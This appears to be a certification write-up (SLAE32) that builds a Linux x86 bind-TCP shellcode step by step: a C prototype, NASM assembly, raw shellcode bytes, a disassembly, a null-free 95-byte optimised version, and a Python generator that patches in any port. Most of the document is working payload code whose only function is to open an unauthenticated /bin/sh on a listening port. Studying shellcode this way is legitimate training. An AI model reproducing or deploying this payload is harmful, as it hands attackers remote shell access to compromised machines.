In the first assignment of the Securitytube Linux Asssembly Expert 32-bit, I had to create a Shell_Bind_TCP shellcode. As the shellcode development requires lots of repetitive and error prone tasks, I created a Makefile first to make my life easier. The Makefile can:

  • compile the shellcode.asm file
  • run the compiled shellcode
  • debug the shellcode
  • disassemble the compiled shellcode
  • display the size of the shellcode with its string representation
  • create a test file from a template which contains the string representation of the shellcode
  • run the test
  • debug the test
  • clean up the created files

In order to compile the shellcode, compile the shellcode tester and run it, I simply enter these lines:

make
make test
make test-run

makefile

SHELLCODE=shellcode
TEST=test


all: build hex

all-test: test-build test-run

all-clean: clean test-clean

build: $(SHELLCODE).o
	ld -m elf_i386 -o $(SHELLCODE) $(SHELLCODE).o

$(SHELLCODE).o: $(SHELLCODE).asm
	nasm -f elf32 -o $(SHELLCODE).o $(SHELLCODE).asm

run: $(SHELLCODE)
	./$(SHELLCODE)

debug: $(SHELLCODE)
	gdb -q ./$(SHELLCODE) -tui

disassemble: $(SHELLCODE)
	objdump -d $(SHELLCODE) -M intel

hex: $(SHELLCODE)
	@echo "Size of shellcode:"
	@size shellcode
	@echo ""
	@echo "Shellcode:"
	@objdump -d ./$(SHELLCODE)|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:| \
	cut -f1-7 -d' '|tr -s ' '|tr '\t' ' '|sed "s| $$||g" |sed "s/ /\\\\x/g"| \
	paste -d '' -s | sed "s|^|\"|" | sed "s|$$|\"|g" > $(SHELLCODE).txt
	@cat $(SHELLCODE).txt

clean:
	rm -f $(SHELLCODE).txt
	rm -f $(SHELLCODE).o
	rm -f $(SHELLCODE)

test-build: $(TEST)

temp:
	@cat $(SHELLCODE).txt | sed 's|\\|\\\\|g' > temp

$(TEST): $(SHELLCODE).txt temp
	@sed 's/SHELLCODE/$(shell cat temp)/' $(TEST).c.template > $(TEST).c
	gcc -m32 $(TEST).c -fno-stack-protector -z execstack -ggdb -o $(TEST)
	@rm -f temp

test-run: $(TEST)
	./$(TEST)

test-debug: $(TEST)
	gdb -q ./$(TEST) -tui

test-clean:
	rm -f $(TEST)

 

1. The pseudo code of the Shell_Bind_TCP

  • Create a socket
  • Bind the socket to a local port
  • Put the socket into listening mode
  • Accept the incoming connection
  • Duplicate file handles of STDIN, STDOUT and STDERR with client socket
  • Start /bin/sh

 

2. The source code of a C program that implements this behavior.

shell-bind-tcp.c

#include<stdlib.h>
#include<sys/socket.h>
#include<sys/types.h>
#include<netinet/in.h>
#include<strings.h>
#include<unistd.h>

#define BIND_PORT	4444

main(int argc, char **argv)
{
	int i, ret;
	int socketServer;
	int socketClient;

	char *args[] = { "/bin/sh", 0 };

	struct sockaddr_in server;
	struct sockaddr_in client;
	int sockaddr_len = sizeof(struct sockaddr_in);

	// Create a socket
	socketServer = socket(AF_INET, SOCK_STREAM, 0);
	if (socketServer == -1)
	{
		exit(-1);
	}

	// Bind it to a local port
	server.sin_family = AF_INET;
	server.sin_port = htons(BIND_PORT);
	server.sin_addr.s_addr = INADDR_ANY;
	bzero(&server.sin_zero, 8);

	ret = bind(socketServer,
	    (struct sockaddr *) &server, sockaddr_len);
	if(ret == -1)
	{
		exit(-1);
	}

	// Start listening
	ret = listen(socketServer, 2);
	if(ret == -1)
	{
		exit(-1);
	}

	// Accept the incoming connection
	socketClient = accept(socketServer,
	    (struct sockaddr *) &client, &sockaddr_len);
	if(socketClient == -1)
	{
		exit(-1);
	}

	// Close the listening socket
	close(socketServer);

	// Duplicate file descriptors
	for (i=0; i<=2; i++)
	{
		dup2(socketClient, i);
	}

	// Execute /bin/sh
	execve(args[0], &args[0], NULL);
}

 

3. Before we start to create assembly code, we have to identify the constants and the used syscall numbers and parameters.

 

Syscalls are the interface between user programs and the Linux kernel. They are used to let the kernel perform various system tasks, such as file access, process management and networking. We can perform syscall with INT 0x80. The parameters should be placed into the registers in the following way:

syscall

The return value will be placed into the EAX register.

Some syscall requires a parameter as a memory address. In this case we can push the proper values onto the stack and use the ESP as the address to the memory structure. I added detailed comments to each syscall in the source code, so that the parameters can be understood there.

 

The syscall numbers can be found in /usr/include/x86_64-linux-gnu/asm/unistd_32.h and can be identified with this command:

cat /usr/include/x86_64-linux-gnu/asm/unistd_32.h | grep <syscall_name>

socketcall = 102
dup2 = 63
execve = 11

 

The socketcall is a common kernel entry point for the socket system calls. The first parameter determines which socket function to invoke. The second parameter is a pointer to the arguments. More info can be get with:

man 2 socketcall

The most important socket function constants are:

SOCKET = 1
BIND = 2
CONNECT = 3
LISTEN = 4
ACCEPT = 5

 

The other socket related constants:

AF_INET = 2
SOCK_STREAM = 1
INADDR_ANY = 0

 

4. The first draft of the ASM code

shellcode.asm

global _start

section .text

_start:

	; Create a socket
	; eax = 102 (socketcall), ebx = 1 (socket),
	;   ecx = esp (2 (AF_INET), 1 (SOCK_STREAM), 0)
	mov eax, 102	; syscall = socketcall
	mov ebx, 1	    ; socket = 1
	push dword 0	; args: protocol = 0
	push dword 1	;       type = (SOCK_STREAM = 1)
	push dword 2	;       domain = (AF_INET = 2)
	mov ecx, esp	; pointer of args
	int 0x80

	; Save the returned socket to edi for later use, this is
	;   the first argument of the following syscalls
	xchg edi, eax	; eax (socket)  <=>  edi

	; Bind it to a local port
	push word 0	    ; socaddr: NULL
	push word 0	    ;          INADDR_ANY = 0
	push 0x5c110002	;          0x5c11 = port 4444, AF_INET = 0x0002
	mov ecx, esp

	; eax = 102 (socketcall), ebx = 2 (bind),
	;   ecx = (socket, server struct, 16)
	mov eax, 102    ; syscall = socketcall
	mov ebx, 2      ; bind = 2
	push dword 16	; sockaddr_in: size of sockaddr_in
	push ecx	    ;              pointer of sockaddr_in
	push edi	    ;              server socket
	mov ecx, esp    ; pointer of args
	int 0x80

	; Start listening
	; eax = 102 (socketcall), ebx = 4 (listen), ecx = (socket, 2)
	mov eax, 102    ; syscall = socketcall
	mov ebx, 4      ; listen = 4
	push dword 2	; backlog
	push edi	    ; server socket
	mov ecx, esp	; pointer of args
	int 0x80

	; Accept the incoming connection
	; eax = 102 (socketcall), ebx = 5 (accept), ecx = (socket, 0, 0)
	mov eax, 102	; syscall = socketcall
	mov ebx, 5	    ; accept = 5
	push dword 0	; length of socket_addr struct
	push dword 0	; pointer to the socket_addr struct
	push edi	    ; server socket
	mov ecx, esp
	int 0x80

	; Save the client socket
	xchg edi, eax	; eax (socket)  <=>  edi


	; Duplicate file descriptor
	; eax = 63 (dup2), ebx = old file descriptor (client socket)
	;   ecx = new file descriptor (0 = STDIN / 1 = STDOUT / 2 = STDERR)
	mov eax, 63	    ; syscall = dup2
	mov ebx, edi	; old file descriptor = client socket
	mov ecx, 0	    ; new file descriptor = STDIN
	int 0x80

	mov eax, 63     ; syscall = dup2
	mov ebx, edi	; old file descriptor = client socket
	mov ecx, 1	    ; new file descriptor = STDOUT
	int 0x80

	mov eax, 63     ; syscall = dup2
	mov ebx, edi	; old file descriptor = client socket
	mov ecx, 2	    ; new file descriptor = STDERR
	int 0x80


	; execve syscall
    xor eax, eax
    push eax        ; NULL

    push 0x68732f6e ; hs/n
    push 0x69622f2f ; ib//

    ; First argument
    mov ebx, esp    ; pointer to '//bin/sh', 0x00

    push eax        ; NULL
    ; Third argument
    mov edx, esp    ; pointer to a NULL

    push ebx        ; pointer to '//bin/sh', 0x00
    ; Second argument
    mov ecx, esp    ; pointer to the pointer of '//bin/sh', 0x00

    mov al, 11      ; syscall = execve = 11
    int 0x80

 

The output of ‘make hex’ and ‘make disassemble’.

make-hex

Size of shellcode:
   text	   data	    bss	    dec	    hex	filename
    156	      0	      0	    156	     9c	shellcode

Shellcode:
"\xb8\x66\x00\x00\x00\xbb\x01\x00\x00\x00\x6a\x00\x6a\x01\x6a\x02
\x89\xe1\xcd\x80\x97\x66\x6a\x00\x66\x6a\x00\x68\x02\x00\x11\x5c
\x89\xe1\xb8\x66\x00\x00\x00\xbb\x02\x00\x00\x00\x6a\x10\x51\x57
\x89\xe1\xcd\x80\xb8\x66\x00\x00\x00\xbb\x04\x00\x00\x00\x6a\x02
\x57\x89\xe1\xcd\x80\xb8\x66\x00\x00\x00\xbb\x05\x00\x00\x00\x6a
\x00\x6a\x00\x57\x89\xe1\xcd\x80\x97\xb8\x3f\x00\x00\x00\x89\xfb
\xb9\x00\x00\x00\x00\xcd\x80\xb8\x3f\x00\x00\x00\x89\xfb\xb9\x01
\x00\x00\x00\xcd\x80\xb8\x3f\x00\x00\x00\x89\xfb\xb9\x02\x00\x00
\x00\xcd\x80\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69
\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80"

make-disassemble

objdump -d shellcode -M intel

shellcode:     file format elf32-i386


Disassembly of section .text:

08048060 <_start>:
 8048060:	b8 66 00 00 00       	mov    eax,0x66
 8048065:	bb 01 00 00 00       	mov    ebx,0x1
 804806a:	6a 00                	push   0x0
 804806c:	6a 01                	push   0x1
 804806e:	6a 02                	push   0x2
 8048070:	89 e1                	mov    ecx,esp
 8048072:	cd 80                	int    0x80
 8048074:	97                   	xchg   edi,eax
 8048075:	66 6a 00             	pushw  0x0
 8048078:	66 6a 00             	pushw  0x0
 804807b:	68 02 00 11 5c       	push   0x5c110002
 8048080:	89 e1                	mov    ecx,esp
 8048082:	b8 66 00 00 00       	mov    eax,0x66
 8048087:	bb 02 00 00 00       	mov    ebx,0x2
 804808c:	6a 10                	push   0x10
 804808e:	51                   	push   ecx
 804808f:	57                   	push   edi
 8048090:	89 e1                	mov    ecx,esp
 8048092:	cd 80                	int    0x80
 8048094:	b8 66 00 00 00       	mov    eax,0x66
 8048099:	bb 04 00 00 00       	mov    ebx,0x4
 804809e:	6a 02                	push   0x2
 80480a0:	57                   	push   edi
 80480a1:	89 e1                	mov    ecx,esp
 80480a3:	cd 80                	int    0x80
 80480a5:	b8 66 00 00 00       	mov    eax,0x66
 80480aa:	bb 05 00 00 00       	mov    ebx,0x5
 80480af:	6a 00                	push   0x0
 80480b1:	6a 00                	push   0x0
 80480b3:	57                   	push   edi
 80480b4:	89 e1                	mov    ecx,esp
 80480b6:	cd 80                	int    0x80
 80480b8:	97                   	xchg   edi,eax
 80480b9:	b8 3f 00 00 00       	mov    eax,0x3f
 80480be:	89 fb                	mov    ebx,edi
 80480c0:	b9 00 00 00 00       	mov    ecx,0x0
 80480c5:	cd 80                	int    0x80
 80480c7:	b8 3f 00 00 00       	mov    eax,0x3f
 80480cc:	89 fb                	mov    ebx,edi
 80480ce:	b9 01 00 00 00       	mov    ecx,0x1
 80480d3:	cd 80                	int    0x80
 80480d5:	b8 3f 00 00 00       	mov    eax,0x3f
 80480da:	89 fb                	mov    ebx,edi
 80480dc:	b9 02 00 00 00       	mov    ecx,0x2
 80480e1:	cd 80                	int    0x80
 80480e3:	31 c0                	xor    eax,eax
 80480e5:	50                   	push   eax
 80480e6:	68 6e 2f 73 68       	push   0x68732f6e
 80480eb:	68 2f 2f 62 69       	push   0x69622f2f
 80480f0:	89 e3                	mov    ebx,esp
 80480f2:	50                   	push   eax
 80480f3:	89 e2                	mov    edx,esp
 80480f5:	53                   	push   ebx
 80480f6:	89 e1                	mov    ecx,esp
 80480f8:	b0 0b                	mov    al,0xb
 80480fa:	cd 80                	int    0x80

 

5. There are two main concerns with the first draft of the shellcode:

  • the NULL characters should be removed
  • the size of the shellcode should be as small as possible

These are the points which helps us accomplish this task:

  • place the repetitive tasks into a loop or in a function
  • xor reg1, reg1 is better than mov reg1, 0
  • push reg1, pop reg2 is the same as mov reg2, reg1
  • mul ebx, where ebx=0 initializes the eax and edx register to 0
  • shift left is the same as multiplying with 2
  • inc reg1 is better, than add reg1, 1 or mov reg1, 1
  • use the initial values of the registers or the top of the stack if possible
  • or reg1, value is the same as add reg1, value if the initial value of the register is 0

Removing the NULL characters and reducing the size of the shellcode requires several iteration. The best way to do it is fixing the register initialization first, then placing the repetitive task into a loop, finally the shellcode should be tested in the debugger. This final step helps removing the unnecessary steps, for example initializing the register with zero which is already zero.

 

The size of the original shellcode was 156 bytes, the enhanced shellcode is 95 bytes. The enhanced shellcode:

shellcode.asm

global _start

section .text

_start:
	; Create a socket
	; eax = 102 (socketcall), ebx = 1 (socket),
	;   ecx = esp (2 (AF_INET), 1 (SOCK_STREAM), 0)
	xor ebx, ebx
	mul ebx

	push eax
	or al, 102	    ; syscall = socketcall
	inc ebx
	push ebx
	push byte 2	    ; domain = (AF_INET = 2)
	mov ecx, esp	; pointer of args
	int 0x80

	; Save the returned socket to edi for later use, this is
	;   the first argument of the following syscalls
	xchg edi, eax	; eax (socket)  <=>  edi

	; Bind it to a local port
	inc ebx
	push esi
	push word 0x5c11; 0x5c11 = port 4444
	push bx		    ; AF_INET = 0x0002
	mov ecx, esp

	; eax = 102 (socketcall), ebx = 2 (bind),
	;   ecx = (socket, server struct, 16)
	add al, 102     ; syscall = socketcall
	push dword 16	; sockaddr_in: size of sockaddr_in
	push ecx        ;              pointer of sockaddr_in
	push edi        ;              server socket
	mov ecx, esp    ; pointer of args
	int 0x80

	; Start listening
	; eax = 102 (socketcall), ebx = 4 (listen), ecx = (socket, 2)
	add al, 102     ; syscall = socketcall
	push ebx	    ; backlog = 2
	shl bl, 1	    ; listen = 4
	push edi	    ; server socket
	mov ecx, esp	; pointer of args
	int 0x80

	; Accept the incoming connection
	; eax = 102 (socketcall), ebx = 5 (accept), ecx = (socket, 0, 0)
	add al, 102     ; syscall = socketcall
	inc bl		    ; ebx = 5 (accept)
	push esi	    ; length of socket_addr struct
	push esi	    ; pointer to the socket_addr struct
	push edi	    ; server socket
	mov ecx, esp
	int 0x80

	; Save the client socket
	xchg ebx, eax   ; eax (socket)  <=>  edi

	; Duplicate file descriptor
	; eax = 63 (dup2), ebx = old file descriptor (client socket)
	;   ecx = new file descriptor (0 = STDIN / 1 = STDOUT / 2 = STDERR)


	xor ecx, ecx
	add cl, 2	    ; new file descriptor

dup2_loop:
	xor eax, eax
	add al, 63	    ; syscall = dup2
	int 0x80

	dec ecx
	jns dup2_loop


	; execve syscall
	;xor eax, eax
	push eax        ; NULL

	push 0x68732f6e ; hs/n
	push 0x69622f2f ; ib//

	; First argument
	mov ebx, esp    ; pointer to '//bin/sh', 0x00

	push eax        ; NULL
	; Third argument
	mov edx, esp    ; pointer to a NULL

	push ebx        ; pointer to '//bin/sh', 0x00
	; Second argument
	mov ecx, esp    ; pointer to the pointer of '//bin/sh', 0x00

	mov al, 11      ; syscall = execve = 11
	int 0x80

 

The shellcode in action:

shell_bind_tcp

 

6. The port number should be configurable. We can accomplish it if we find the 0x5c11 (=4444) in the shellcode and replace it with the new port number. However there is a problem here. If one of the two bytes contains NULL, the shellcode will not work. We can fix this problem if we replace the entire push instruction in this case. The solution: add one to the byte which is zero, initialize a register with this incremented value, decrement the incremented byte, then push the register value onto the stack.

I created a python script which handles these special cases.

generate.py

#!/usr/bin/python

shellcode1 = "\\x31\\xdb\\xf7\\xe3\\x50\\x04\\x66\\x43\\x53\\x6a\\x02\\x89\\xe1\\xcd\\x80\\x97\\x43\\x56"
#\\x66\\x68\\x11\\x5c
shellcode2 = "\\x66\\x53\\x89\\xe1\\x04\\x66\\x6a\\x10\\x51\\x57\\x89\\xe1\\xcd\\x80\\x04\\x66\\x53\\xd0\\xe3\\x57\\x89\\xe1\\xcd\\x80\\x04\\x66\\xfe\\xc3\\x56\\x56\\x57\\x89\\xe1\\xcd\\x80\\x93\\x31\\xc9\\x80\\xc1\\x02\\x31\\xc0\\x04\\x3f\\xcd\\x80\\x49\\x79\\xf7\\x50\\x68\\x6e\\x2f\\x73\\x68\\x68\\x2f\\x2f\\x62\\x69\\x89\\xe3\\x50\\x89\\xe2\\x53\\x89\\xe1\\xb0\\x0b\\xcd\\x80"

str = input("Enter port number: ")

portnum = int(str)
if portnum < 1 or portnum > 65535:
	print "Invalid range"
else:
	upper = portnum / 256
	lower = portnum % 256

	upperHex = "\\" + hex(upper)[1:]
	lowerHex = "\\" + hex(lower)[1:]

	shellcodeLen = 95
	variablePart = ""

	if upper == 0:
		# 31 c9                	xor    ecx,ecx
		# 66 81 c1 01 50       	add    cx,0x5001 ; port = 80, 0x5000
		# fe c9                	dec    cl
		# 66 51                	push   cx

		upper += 1
		upperHex = "\\" + hex(upper)[1:]

        variablePart = "\\x31\\xc9\\x66\\x81\\xc1" + upperHex + lowerHex + "\\xfe\\xc9\\x66\\x51"
        shellcodeLen = 102
	elif lower == 0:
		# 31 c9                	xor    ecx,ecx
		# 66 81 c1 50 01       	add    cx,0x150  ; port = 20480, 0x0050
		# fe cd                	dec    ch
		# 66 51                	push   cx

		lower += 1
		lowerHex = "\\" + hex(lower)[1:]

		variablePart = "\\x31\\xc9\\x66\\x81\\xc1" + upperHex + lowerHex + "\\xfe\\xcd\\x66\\x51"
		shellcodeLen = 102
	else:
		# 66 68 11 5c          	pushw  0x5c11    ; port = 4444, 0x115c
		variablePart = "\\x66\\x68" + upperHex + lowerHex
		shellcodeLen = 95

	print ""
	print "Length of shellcode: %d bytes" % (shellcodeLen)
	print ""
	print "Shellcode: \"" + shellcode1 + variablePart + shellcode2 + "\""
	print ""

 

*  *  *  *  *

 

The source codes can be found on github:

https://github.com/sh3llc0d3r1337/SLAE32-shell_bind_tcp

 

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:

http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/

Student ID: SLAE-691